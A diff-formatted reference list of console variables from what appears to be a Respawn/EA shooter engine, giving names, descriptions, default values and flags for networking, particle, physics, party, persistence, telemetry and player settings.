+movement_anim_playback_maxrate + + + +default: `"10"` +flags: `0x2002` +
+
+movement_anim_playback_minrate + + + +default: `"0.25"` +flags: `0x2002` +
+
+movement_anim_sprint_playback_maxrate + + + +default: `"1.25"` +flags: `0x2002` +
+
+mp_accountLink_requestInterval + + + +default: `"3"` +flags: `0x2` +
+
+mp_allowed + + + +default: `"-1"` +flags: `0x2` +
+
+mp_bodyyawrate + + + +default: `"400"` +flags: `0x2002` +
+
+mp_countRRNobodyAsLobby + + + +default: `"0"` +flags: `0x2` +
+
+mp_enablematchending + +When set to 0, match will not end + +default: `"1"` +flags: `0x2002` +
+
+mp_enabletimelimit + +enable mp_timelimit timer in games + +default: `"1"` +flags: `0x2002` +
+
+mp_gamemode + +Current game mode name + +default: `""` +flags: `0x12002` +
+
+mp_linkingAccountTime + + + +default: `"0"` +flags: `0x2` +
+
+mp_linkingAccountWindow + + + +default: `"300"` +flags: `0x2` +
+
+mp_maxbodyyaw + + + +default: `"60"` +flags: `0x2002` +
+
+mp_permission_requestInterval + + + +default: `"30"` +flags: `0x2` +
+
+mp_permission_rerequestInterval + + + +default: `"21600"` +flags: `0x2` +
+
+mp_player_level + +To read mp player level in SP + +default: `"0"` +flags: `0x1000000` +
+
+mp_scaleAnimationSpeeds + + + +default: `"1"` +flags: `0x2002` +
+
+mp_showgestureslots + +Show multiplayer client/server gesture slot information for the specified player index (-1 for no one). + +default: `"-1"` +flags: `0x6002` +
+
+mtx_svEdition + + + +default: `"81"` +flags: `0x2002` +
+
+muteWeaponSounds + + + +default: `"0"` +flags: `0x2002` +
+
+name + +Current user name + +default: `"unnamed"` +flags: `0x480` +
+
+net_RunInvalidatePhysics + + + +default: `"0"` +flags: `0x2` +
+
+net_async_sendto + + + +default: `"0"` +flags: `0x2` +
+
+net_autoUnthrottle + + + +default: `"0"` +flags: `0x2` +
+
+net_bandwidthPrintThreshold + +Percentage where it's worth printing spam about this message in the bandwidth tracker prints + +default: `"1"` +flags: `0x2` +
+
+net_bindToSpecificAddress + +Only bind to a certain interface + +default: `"0"` +flags: `0x80000` +
+
+net_blockmsg + +Discards incoming message: <0|1|name> + +default: `"none"` +flags: `0x4000` +
+
+net_chatThroughChatserver + + + +default: `"0"` +flags: `0x2` +
+
+net_chokeloop + +Apply bandwidth choke to loopback packets (only in MP) + +default: `"1"` +flags: `0x2` +
+
+net_clearReliableDataOnReset + +Whether we should erase unsent reliable data when we call netchan->Reset() + +default: `"0"` +flags: `0x2` +
+
+net_client_side_weapon_animations + +Enable/disable client side weapon animations. Only apply to already optimized weapons, eg. rapid fire instant hit weapons like xo16, r101 etc. + +default: `"1"` +flags: `0x2002` +
+
+net_compressDataBlock + + + +default: `"1"` +flags: `0x2` +
+
+net_compressLZValue + + + +default: `"1"` +flags: `0x2` +
+
+net_compresspackets + +Use lz compression on game packets. + +default: `"0"` +flags: `0x2` +
+
+net_compresspackets_minsize + +Don't bother compressing packets below this size. + +default: `"1000"` +flags: `0x2` +
+
+net_connectPacketWarningThreshhold + + + +default: `"0.9"` +flags: `0x2` +
+
+net_connectingDataRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_createUndoDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_data_block_enabled + +Enable/disable net data block optimization for load times. When disabled large chunks are sent down via existing netchan reliability system instead of net data blocks. + +default: `"1"` +flags: `0x2002` +
+
+net_datablockPrintSummaries + + + +default: `"0"` +flags: `0x2` +
+
+net_datablock_fastRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_datablock_longSendTime + + + +default: `"10"` +flags: `0x2` +
+
+net_datablock_minResendInterval + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_networkLossForSlowSpeed + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_resendRateForSlowSpeed + + + +default: `"3"` +flags: `0x2` +
+
+net_datablock_slowRate + + + +default: `"64000"` +flags: `0x2` +
+
+net_debugDataBlockReceiver + + + +default: `"0"` +flags: `0x2` +
+
+net_debugDataBlockSender + + + +default: `"0"` +flags: `0x2` +
+
+net_debugLerping + + + +default: `"-1"` +flags: `0x2` +
+
+net_deltaFieldEntityBlockSize + + + +default: `"5"` +flags: `0x2` +
+
+net_disconnectIfDeltaBufferIsFull + + + +default: `"0"` +flags: `0x2` +
+
+net_drawslider + +Draw completion slider during signon + +default: `"0"` +flags: `0x2` +
+
+net_droppackets + +Drops next n packets on client + +default: `"0"` +flags: `0x4000` +
+
+net_dumpChangesPrecise + +Prints floats at full precision + +default: `"0"` +flags: `0x2` +
+
+net_encrypt_copyCtx + + + +default: `"1"` +flags: `0x2` +
+
+net_encryptionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_forceDeltaBufferToOverflow + + + +default: `"0"` +flags: `0x2` +
+
+net_forceUnnecessaryUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_forcetimeout + + + +default: `"0"` +flags: `0x4000` +
+
+net_fullyConnectedDataRate + + + +default: `"256000"` +flags: `0x2` +
+
+net_highPacketLatencyThreshold + + + +default: `"0.200"` +flags: `0x2` +
+
+net_highPacketLossThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+net_ignoreAllSnapshots + +Drop all snapshot messages + +default: `"0"` +flags: `0x2` +
+
+net_largeSnapshotThreshold + +The size of a snapshot that qualifies as a large snapshot + +default: `"15000"` +flags: `0x2` +
+
+net_lerpFields + + + +default: `"1"` +flags: `0x2` +
+
+net_lowBandwidthConnect + + + +default: `"0"` +flags: `0x2` +
+
+net_maxAccumulatedClearTimeBalance + +Max time (in seconds) to count not sending data to this player towards their 'remaining bandwidth' balance [if we haven't sent a packet in 2 minutes, that doesn't mean they have 2 minutes of bandwidth remaining to use] + +default: `"0.5"` +flags: `0x2` +
+
+net_maxcleartime + +Max # of seconds we can wait for next packets to be sent based on rate setting (0 == no limit). + +default: `"4.0"` +flags: `0x2` +
+
+net_maxfilesize + +Maximum allowed file size for uploading in MB + +default: `"16"` +flags: `0x2` +min value: `0` +max value: `64` +
+
+net_maxfragments + +Max fragment bytes per packet + +default: `"1200"` +flags: `0x2` +min value: `256` +max value: `1200` +
+
+net_maxroutable + +Requested max packet size before packets are 'split'. + +default: `"1200"` +flags: `0x202` +min value: `576` +max value: `1200` +
+
+net_minConnectionTimeForSpam + + + +default: `"10"` +flags: `0x2` +
+
+net_minQueuedPacketsForPrint + + + +default: `"5"` +flags: `0x2` +
+
+net_minResetIdleTimerInterval + + + +default: `"10"` +flags: `0x2` +
+
+net_minimumPacketLossDC + +The lowest packet loss we have to any datacenter + +default: `"100"` +flags: `0x200` +
+
+net_minroutable + +Forces larger payloads. + +default: `"16"` +flags: `0x2` +
+
+net_netGraph2 + + + +default: `"0"` +flags: `0x41080000` +
+
+net_noPostDataForDeletedEnts + + + +default: `"1"` +flags: `0x2` +
+
+net_old_seed_generation + + + +default: `"0"` +flags: `0x2002` +
+
+net_optimize_persistent_data + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_playlists + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_weapons + +Enable/disable bandwidth optimizations made to weapons. Additional experimental optimizations can be enabled values 2 (weapon player data) and 3 (client side weapon animation) + +default: `"2"` +flags: `0x2002` +
+
+net_predictParentEntities + + + +default: `"0"` +flags: `0x2` +
+
+net_predictedEntsUseFirstAvailableSnapshot + + + +default: `"1"` +flags: `0x2` +
+
+net_predictionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_pretendSnapshotArrayFull + +Pretend the client snapshot array is full even when it isn't + +default: `"0"` +flags: `0x2` +
+
+net_printCompression + + + +default: `"1"` +flags: `0x2` +
+
+net_printOutOfSnapshots + + + +default: `"1"` +flags: `0x2` +
+
+net_printUnnecessaryDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_propSkipPrintThreshold + +Show prop skips more than this many apart + +default: `"1000"` +flags: `0x2` +
+
+net_queue_trace + + + +default: `"0"` +flags: `0x2000002` +
+
+net_queuedPackets_PrintOversleeps + + + +default: `"0"` +flags: `0x2` +
+
+net_queuedPackets_SkipSmallSleeps + + + +default: `"2"` +flags: `0x2` +
+
+net_queued_packet_sender_nopacket_sleep + + + +default: `"10"` +flags: `0x80000` +
+
+net_queued_packet_thread + +Use a high priority thread to send queued packets out instead of sending them each frame. + +default: `"1"` +flags: `0x2` +
+
+net_recentNetworkGapWindow + + + +default: `"2.0"` +flags: `0x2` +
+
+net_recentNetworkGapsNeeded + + + +default: `"2"` +flags: `0x2` +
+
+net_recreateScriptInstanceOnReplayTransition + + + +default: `"1"` +flags: `0x2` +
+
+net_recv_dumpChanges + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_dumpNetworkedChangesOnEntCreate + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_watchEnt + + + +default: `"-1"` +flags: `0x2` +
+
+net_recv_watchField1 + + + +default: `""` +flags: `0x2` +
+
+net_recv_watchField2 + + + +default: `""` +flags: `0x2` +
+
+net_resourcePrintMinimum + +Minimum count for printing bandwidth info about a resource (sound, effect) + +default: `"2"` +flags: `0x2` +
+
+net_sendFloatDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_sendProfileTotals + + + +default: `"0"` +flags: `0x2` +
+
+net_sendtoInJob + + + +default: `"1"` +flags: `0x2` +
+
+net_showFailedAuth + + + +default: `"1"` +flags: `0x2` +
+
+net_showLargeSnapshot + +Show console spam when we get large snapshots from the server + +default: `"1"` +flags: `0x2` +
+
+net_showQueued + + + +default: `"0"` +flags: `0x2` +
+
+net_showServerStruggle + +Print when the server is struggling. + +default: `"1"` +flags: `0x2` +
+
+net_showUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_showUserWarnings + + + +default: `"1"` +flags: `0x2` +
+
+net_showchoke + +Show console spam when we get choked snapshots from the server + + +default: `"0"` +flags: `0x2` +
+
+net_showchokeInterval + +The minimum time interval between spam about going above our network budget + +default: `"5"` +flags: `0x2` +
+
+net_showdrop + +Show dropped packets in console + +default: `"0"` +flags: `0x2` +
+
+net_showfragments + +Show netchannel fragments + +default: `"0"` +flags: `0x2` +
+
+net_showmsg + +Show incoming message: <0|1|name> + +default: `"0"` +flags: `0x2` +
+
+net_showpeaks + +Show messages for large packets only: + +default: `"0"` +flags: `0x2` +
+
+net_showsendrecv + +Show sendto and recvfrom calls + +default: `"0"` +flags: `0x2` +
+
+net_showsplits + +Show info about packet splits + +default: `"0"` +flags: `0x80000` +
+
+net_showudp + +Dump UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_oob + +Dump OOB UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_remoteonly + +Dump non-loopback udp only + +default: `"0"` +flags: `0x80000` +
+
+net_showusercmd + +Show user command encoding + +default: `"0"` +flags: `0x2` +
+
+net_skipUnnecessaryDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_splitrate + +Number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultMP + +Default MP number of fragments for a splitpacket that can be sent per frame + +default: `"3"` +flags: `0x80000` +
+
+net_splitrateDefaultSP + +Default SP number of fragments for a splitpacket that can be sent per frame + +default: `"10000"` +flags: `0x80000` +
+
+net_tamperPackets + + + +default: `"0"` +flags: `0x2` +
+
+net_threadedEntityDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_threadedProcessPacket + + + +default: `"1"` +flags: `0x2` +
+
+net_timeoutUsesLastReadTime + +Don't let us time out if we haven't been actually checking the socket for packets (inside a loop, for example) + +default: `"1"` +flags: `0x2` +
+
+net_trackerWarningInterval + + + +default: `"5"` +flags: `0x2` +
+
+net_usesocketsforloopback + +Use network sockets layer even for listen server local player's packets (multiplayer only). + +default: `"0"` +flags: `0x2` +
+
+net_verifyEncryption + + + +default: `"0"` +flags: `0x2` +
+
+net_voiceEchoFromChatServer + + + +default: `"0"` +flags: `0x2` +
+
+net_warnAboutSocketReadGaps + +Warn if we are waiting longer than this to check a socket for new packets + +default: `"0.200"` +flags: `0x2` +
+
+net_warnGapTime + + + +default: `"0.4"` +flags: `0x2` +
+
+net_wifi + +0 = ethernet, 1 = wifi, -1 = unknown + +default: `"-1"` +flags: `0x80200` +
+
+net_worldHitchSlopTime + + + +default: `"0.031"` +flags: `0x2` +
+
+next + +Set to 1 to advance to next frame ( when singlestep == 1 ) + +default: `"0"` +flags: `0x4000` +
+
+noReloadAfterUse + +Disables reloads for "+useAndReload" input if a use is triggered. + +default: `"1"` +flags: `0x2002` +
+
+noise_filter_scale + + + +default: `"0.006"` +flags: `0x1000000` +
+
+not_focus_sleep + +MS to sleep while window doesn't have focus + +default: `"50"` +flags: `0x2` +
+
+notification_displayTime + +How long notifications should wait before auto-hiding + +default: `"10"` +flags: `0x2` +
+
+nucleus_id + + + +default: `"0"` +flags: `0x80000200` +
+
+nucleus_pid + + + +default: `"unknown"` +flags: `0x80000200` +
+
+number_shortenToMillionsAfter + + + +default: `"2000000"` +flags: `0x2` +
+
+object_placement_debug + +Enable/disable debug lines for object placement + +default: `"0"` +flags: `0x4002` +
+
+offhandTossOverheadPitchThreshold + + + +default: `"-1.0"` +flags: `0x2002` +
+
+offhand_alignEndAnim1p3p + + + +default: `"1"` +flags: `0x2` +
+
+old_culling + + + +default: `"0"` +flags: `0x2` +
+
+old_gather_props + + + +default: `"0"` +flags: `0x80000` +
+
+one_handed_change_rate + +The rate at which the transition to and from one handed weapon usage takes place + +default: `"1.25"` +flags: `0xa` +
+
+opaque_renderable_worker + + + +default: `"1"` +flags: `0x2` +
+
+openInvite_spam + +Whether open invites should spam to the console log + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByLanguage + + + +default: `"1"` +flags: `0x2` +
+
+openInvites_filterByRegion + + + +default: `"1"` +flags: `0x2` +
+
+openinvite_duration_default + + + +default: `"10"` +flags: `0x2` +
+
+ordnanceSwapSelectCooldown + + + +default: `"0.25"` +flags: `0x2` +
+
+origin_Errorlevel_OldBehaviour + +Enables Setting errorlevel for as in the old code base did. + + +default: `"1"` +flags: `0x2` +
+
+origin_Errorlevel_Telementry + +Enables sending host Telemetry event for Origin errorLevel + + +default: `"1"` +flags: `0x2` +
+
+origin_authCodeFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+origin_autoRefreshTokenClient + + + +default: `"1"` +flags: `0x2` +
+
+origin_autoRefreshTokenServer + + + +default: `"0"` +flags: `0x2` +
+
+origin_debug + +Enable Origin HTTP debug logging (all HTTP queries and responses, token data etc.) + +default: `"0"` +flags: `0x2` +
+
+origin_disconnectWhenOffline + + + +default: `"1"` +flags: `0x2` +
+
+origin_ignoreInvitesOnLoadScreen + + + +default: `"0"` +flags: `0x2` +
+
+origin_igo_mutes_sound_enabled + +Enables feature for optionally muting game sound when Origin overlays are launched. + +default: `"1"` +flags: `0x2` +
+
+origin_igo_mutes_sound_enabled + +Enables feature for optionally muting game sound when Origin overlays are launched. + +default: `"1"` +flags: `0x2` +
+
+origin_igo_muting_sound + +True if game sound was muted when launching an Origin overlay. + +default: `"0"` +flags: `0x2` +
+
+origin_keepOldPresence + + + +default: `"1"` +flags: `0x2` +
+
+origin_presense_updateRate + +Minimum time between origin updates in seconds. + +default: `"1"` +flags: `0x2` +
+
+origin_tokenFailureMaxBackoffSeconds + + + +default: `"10"` +flags: `0x2` +
+
+panel_showVisChanges + + + +default: `"0"` +flags: `0x2` +
+
+panel_test_title_safe + +Test vgui panel positioning with title safe indentation + +default: `"0"` +flags: `0x4000` +
+
+parenting_debug + + + +default: `"0"` +flags: `0x2` +
+
+particleEffect_checkShouldStillPlay + + + +default: `"1"` +flags: `0x2` +
+
+particle_alwayswakeonstop + + + +default: `"1"` +flags: `0x2002` +
+
+particle_cpu_level + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `2` +
+
+particle_delete_all_except + + + +default: `""` +flags: `0x2` +
+
+particle_dlights_enable + + + +default: `"1"` +flags: `0x2` +
+
+particle_dlights_spew + + + +default: `"0"` +flags: `0x2` +
+
+particle_gpu_level + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_clear_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_lighting_size + +The size of each particle in the atlas + +default: `"32"` +flags: `0x2` +
+
+particle_lighting_viewmodel_enable + + + +default: `"0"` +flags: `0x2` +
+
+particle_overlay + +Show particle overlay (2 for same as particle_overlay_list_tally) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_attributes + +Space separated list of attributes to show per particle - 'all id duration xyz prev_xyz radius color alpha length' + +default: `"id"` +flags: `0x2` +
+
+particle_overlay_detail_filter + +Filters which particles to see in detail - can be id or substring or * + +default: `""` +flags: `0x2` +
+
+particle_overlay_detail_list_particles + +List individual particles in detail view + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_detail_scroll + +Skip this many rows in particle overlay detail + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_hide_sleeping + +Hide sleeping effects in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_filter + +Filters which particles to see in list - can be id or substring or * + +default: `"*"` +flags: `0x2` +
+
+particle_overlay_list_tally + +Show tally of particle counts, rather than list (same as particle_overlay 2) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_list_tally_collapse_children + +Collapse children in tally-- only show totals at top level. + +default: `"1"` +flags: `0x2` +
+
+particle_overlay_old + +Draw particle overlay the old way (no imgui) + +default: `"0"` +flags: `0x2` +
+
+particle_overlay_scroll + +Skip this many rows in particle overlay + +default: `"0"` +flags: `0x2` +
+
+particle_remap_vol2cp_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_script_dump + +particle_script_dump SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_script_list + + + +default: `""` +flags: `0x2002` +
+
+particle_script_log + +particle_script_log SCRIPT_HANDLE + +default: `"-1"` +flags: `0x2002` +
+
+particle_scrub_debug + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_debug_effect + + + +default: `"0"` +flags: `0x2` +
+
+particle_scrub_is_using_time_scrub + + + +default: `"0"` +flags: `0x2002` +
+
+particle_scrub_max_dt + + + +default: `"0.02"` +flags: `0x2` +
+
+particle_scrub_play_speed + + + +default: `"1"` +flags: `0x2` +
+
+particle_scrub_quality + + + +default: `"6"` +flags: `0x2` +
+
+particle_scrub_time + + + +default: `"-1"` +flags: `0x2` +
+
+particle_simulateoverflow + +Used for stress-testing particle systems. Randomly denies creation of particles. + +default: `"0"` +flags: `0x4000` +
+
+particles_cull_dlights + + + +default: `"1"` +flags: `0x2002` +
+
+particles_max_passes + + + +default: `"10"` +flags: `0x2002` +
+
+particles_spawncull + + + +default: `"1"` +flags: `0x2002` +
+
+particles_spawncull_report + + + +default: `"0"` +flags: `0x2002` +
+
+parties_alwaysReadSubs + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyAlways + + + +default: `"1"` +flags: `0x2` +
+
+party_autoCreatePartyDelay + + + +default: `"3"` +flags: `0x2` +
+
+party_color_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+party_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+party_doRealNameLookupsForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_hostname + + + +default: `""` +flags: `0x2` +
+
+party_httpHandleTimeout + + + +default: `"10.0f"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_keepAliveTime + +How often party clients should send a keepalive packet + +default: `"60"` +flags: `0x2` +
+
+party_leaderAlwaysDetectsChanges + + + +default: `"1"` +flags: `0x2` +
+
+party_leaderReadyOnly + + + +default: `"0"` +flags: `0x2` +
+
+party_leaveMatchOnJoin + +Whether a player should quit the match they're in when they join a party + +default: `"0"` +flags: `0x2002` +
+
+party_lookupRealNamesForOpenInvites + + + +default: `"0"` +flags: `0x2` +
+
+party_lookupRealNamesForOpenInvitesForOwner + + + +default: `"0"` +flags: `0x2` +
+
+party_minSize + + + +default: `"3"` +flags: `0x2` +
+
+party_privacy + +our privacy setting for parties + +default: `"open"` +flags: `0x2` +
+
+party_readyToSearch + +our ready-up status + +default: `"0"` +flags: `0x2` +
+
+party_relyOnPartyForMemberUserInfo + +If true, we won't re-request userinfo speculatively, only when their version changes in our party block + +default: `"1"` +flags: `0x2` +
+
+party_requireConsensusForSearch + +Whether everyone in the party has to ready up before finding a match + +default: `"1"` +flags: `0x2` +
+
+perTriangleCollisionForced + +Forces all traces on static models to use high detail traces. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_killswitch + +A value of 1 means perfcharts is deactivated. + +default: `"0"` +flags: `0x2` +
+
+perfcharts_pin_enabled + +Enable telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+perfcharts_pin_print + +Print telemetry events (pin). + +default: `"1"` +flags: `0x2` +
+
+persistenceDef_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistenceDef_queryMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistenceDef_readMaxHttpRetries + + + +default: `"2"` +flags: `0x6` +
+
+persistenceDef_retryReadAfterErrorTime + + + +default: `"15"` +flags: `0x6` +
+
+persistenceDef_writeMaxHttpRetries + + + +default: `"4"` +flags: `0x6` +
+
+persistence_clForceNew + + + +default: `"0"` +flags: `0x200` +
+
+persistence_disableForBuildProcess + + + +default: `"0"` +flags: `0x6` +
+
+persistence_enforce_manifest + +Enable validating against manifest. + +default: `"1"` +flags: `0x2` +
+
+persistence_hostname + + + +default: `""` +flags: `0x80000` +
+
+persistence_new_player_if_upgrade_fails + +Create a new player if upgrade fails. (dev only) + +default: `"0"` +flags: `0x2` +
+
+persistence_upload_def + + + +default: `"1"` +flags: `0x6` +
+
+persistence_upload_failure_is_error + + + +default: `"1"` +flags: `0x6` +
+
+persistent_warningRate + + + +default: `"1"` +flags: `0x2` +
+
+pertrianglecollision + +Enables per-triangle collision with TRACEDETAILLEVEL_HIGH (i.e., bullets) on static models. + +default: `"1"` +flags: `0x2` +
+
+phys_bounce + + + +default: `"0.2"` +flags: `0x2002` +
+
+phys_cfm + +Constraint Force Mixing value. Softens the force applied to resolve constraints. ode.org/ode-latest-userguide.html: "If CFM is set to zero, the constraint will be hard .... the constraint is allowed to be violated by an amount proportional to CFM times the restoring force that is needed to enforce the constraint" + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_cfm_anglejointstop + + + +default: `"0.0001"` +flags: `0x2002` +
+
+phys_drawContacts + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawContactsDuration + + + +default: `"0.016666"` +flags: `0x2002` +
+
+phys_drawGeoms + + + +default: `"0"` +flags: `0x2002` +
+
+phys_drawTunnelChecks + + + +default: `"0"` +flags: `0x2002` +
+
+phys_enableObjectPairCollidePrototype + + + +default: `"0"` +flags: `0x2` +
+
+phys_erp + +Fraction of penetration that physics tries to resolve per time step. At 1.0, all contacts add a velocity that will end the penetration in a single frame, though this is unstable. At 0.0, contacts create no outward force (though they still provide friction). + +default: `"0.05"` +flags: `0x2002` +
+
+phys_erp_anglejointstop + + + +default: `"0.05"` +flags: `0x2002` +
+
+phys_frictionDefault + + + +default: `"0.82"` +flags: `0x2002` +
+
+phys_showObjectCount + + + +default: `"0"` +flags: `0x2` +
+
+phys_threadGoWide + +Go wide across threads with Physics. + +default: `"1"` +flags: `0x2` +
+
+physics_async_cl + +Run physics simulation asynchronously from the main thread. + +default: `"1"` +flags: `0x2` +
+
+physics_autoSleepAngularThreshold + +Angular speed below which a physic object goes to sleep. (in degrees / second) + +default: `"120"` +flags: `0x2002` +
+
+physics_autoSleepDebug + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepGroundHysteresis + + + +default: `"0"` +flags: `0x2002` +
+
+physics_autoSleepSpeedThreshold + +Speed below which a physic object goes to sleep. + +default: `"20"` +flags: `0x2002` +
+
+physics_collideWithMovingGeo + + + +default: `"1"` +flags: `0x2002` +
+
+physics_collision_speed_threshold + + + +default: `"10"` +flags: `0x2002` +
+
+physics_defaultMaxAngularSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_defaultMaxSpeed + + + +default: `"10000"` +flags: `0x2002` +
+
+physics_scaled_mem + +Amout of extra memory taken by scaled collision meshes + +default: `"0"` +flags: `0x2` +
+
+physics_tunnelChecks + +Do traces to prevent physics objects from falling through the world. + +default: `"1"` +flags: `0x2002` +
+
+physics_tunnelChecksForceAlways + +Require objects to do tunnel checks every frame. + +default: `"0"` +flags: `0x2002` +
+
+pin_opt_in + +Enables sending PIN telemetry data to EA + +default: `"1"` +flags: `0x1000000` +
+
+pin_plat_id + +Platform user id for PIN + +default: `"0"` +flags: `0x80000202` +
+
+pin_sid + +session id + +default: `"unknown"` +flags: `0x80000200` +
+
+pin_telemetry_actually_send + + + +default: `"1"` +flags: `0x2` +
+
+pin_telemetry_debug_code + +Shows unformatted json of all messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_http_requests + +Track down pin http requests lifetime + +default: `"1"` +flags: `0x2` +
+
+pin_telemetry_debug_payload + +Shows final payloads being sent to PIN server, including header + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_debug_script + +Shows nicely formatted json of script messages + +default: `"0"` +flags: `0x2` +
+
+pin_telemetry_dont_send_events + +List of PIN events to suppress + +default: `""` +flags: `0x2002` +
+
+pin_telemetry_hostname + + + +default: `""` +flags: `0x2` +
+
+pin_telemetry_inactivity_send_time + +Interval at which client PIN messages are sent. (Client only) + +default: `"300"` +flags: `0x2` +
+
+pin_telemetry_max_payload_size + + + +default: `"30720"` +flags: `0x2` +
+
+pin_telemetry_send_debug + +Enables x-ea-lint-level 2 for useful error messages + +default: `"0"` +flags: `0x2` +
+
+ping_debug + +Debug latency calculation. + +default: `"0"` +flags: `0x2` +
+
+ping_max_green + + + +default: `"70"` +flags: `0x2` +
+
+ping_max_red + + + +default: `"250"` +flags: `0x2` +
+
+ping_max_yellow + + + +default: `"140"` +flags: `0x2` +
+
+ping_minSentForChoice + +Minimum number of pings sent to this target (not received) before we are willing to say the player can matchmake because we're confident that this data is useful + +default: `"10"` +flags: `0x2` +
+
+ping_qos_units + +Divisor to use for pings, so we don't think a 3 ping is wildly better than a 4 ping, but we do think a 33 ping is worse than a 31 ping (at 60fps, that's another frame of latency) + +default: `"32"` +flags: `0x2` +
+
+ping_usePacketLoss + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_enable + + + +default: `"1"` +flags: `0x2` +
+
+pixvis_maxquads + +Change the upper bound on how many 2x2 quads to sample for pixel visibility + +default: `"256"` +flags: `0x4000` +
+
+pixvis_spew + + + +default: `"0"` +flags: `0x2` +
+
+plat_environment + + + +default: `""` +flags: `0x2` +
+
+plat_retryNameLookups + + + +default: `"1"` +flags: `0x2` +
+
+platform_user_id + +Platform user id (origin user id on PC, xuid on xboxone) + +default: `"0"` +flags: `0x2` +
+
+playerListPartyColorB + + + +default: `"204"` +flags: `0x2` +
+
+playerListPartyColorG + + + +default: `"255"` +flags: `0x2` +
+
+playerListPartyColorR + + + +default: `"179"` +flags: `0x2` +
+
+playerListUseFriendColor + + + +default: `"1"` +flags: `0x2` +
+
+player_ADS_buffer_time_seconds + +How long (in seconds) will the game buffer a Toggle Zoom attempt if the player cannot ADS when they press the button. + +default: `"1"` +flags: `0x2002` +
+
+player_debugPredictedPosition + + + +default: `"0"` +flags: `0x2` +
+
+player_deltaAnimsMakeMeUnpredicted + + + +default: `"0"` +flags: `0x2` +
+
+player_doJetwashEffects + + + +default: `"0"` +flags: `0x2` +
+
+player_extraairaccelleration + +Extra air acceleration given to players, even if they're already at max speed. Helps to start wall running + +default: `"2.0"` +flags: `0x2002` +
+
+player_highFrequencyThinkDistance + + + +default: `"6000"` +flags: `0x2` +
+
+player_movementBounds_predictionShare + + + +default: `"1"` +flags: `0x2002` +
+
+player_movingDeathThreshold + + + +default: `"50"` +flags: `0x6000` +
+
+player_respawnInputDebounceDuration + +How long after respawning will certain player inputs be debounced for + +default: `"0.5"` +flags: `0x2` +
+
+player_setting_autosprint + +Automatically sprint when walking forward. + +default: `"0"` +flags: `0x41000000` +
+
+player_setting_damage_closes_deathbox_menu + +Controls whether death box automatically closes when taking damage (used for menus). + +default: `"1"` +flags: `0x1000000` +
+
+player_setting_stickysprintforward + +Double-tapping sprint will keep the player sprinting forward. + +default: `"0"` +flags: `0x41000200` +
+
+player_showEyePosition + + + +default: `"0"` +flags: `0x2` +
+
+player_useMovementBounds + + + +default: `"1"` +flags: `0x2002` +
+
+player_viewchange_debug_pitch + + + +default: `"20"` +flags: `0x2` +
+
+player_viewchange_debug_roll + + + +default: `"9"` +flags: `0x2` +
+
+player_viewchange_debug_yaw + + + +default: `"160"` +flags: `0x2` +
+
+playlist_changeGamemodeAutomatically + + + +default: `"1"` +flags: `0x2` +
+
+playlist_debug + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_getvar + + + +default: `"0"` +flags: `0x2` +
+
+playlist_debug_localization + + + +default: `"0"` +flags: `0x2` +
+
+playlist_dump + +Dump contents of playlists file (and patches) when we parse it + +default: `"0"` +flags: `0x2` +
+
+playlist_rotationGroup + +Current rotation group among playlists + +default: `""` +flags: `0x2002` +
+
+playlist_rotationInterval + +How often to rotate playlist groups in minutes + +default: `"5"` +flags: `0x2` +
+
+playlist_rotationIntervalDefault + +Default value of how often to rotate playlist groups in minutes + +default: `"150"` +flags: `0x2` +
+
+playlist_rotationIntervalOverride + +Override value (if > 0) of how often to rotate playlist groups in minutes + +default: `"0"` +flags: `0x2` +
+
+playlist_rotationNextTime + +Next rotation time for playlist group + +default: `"0"` +flags: `0x2002` +
+
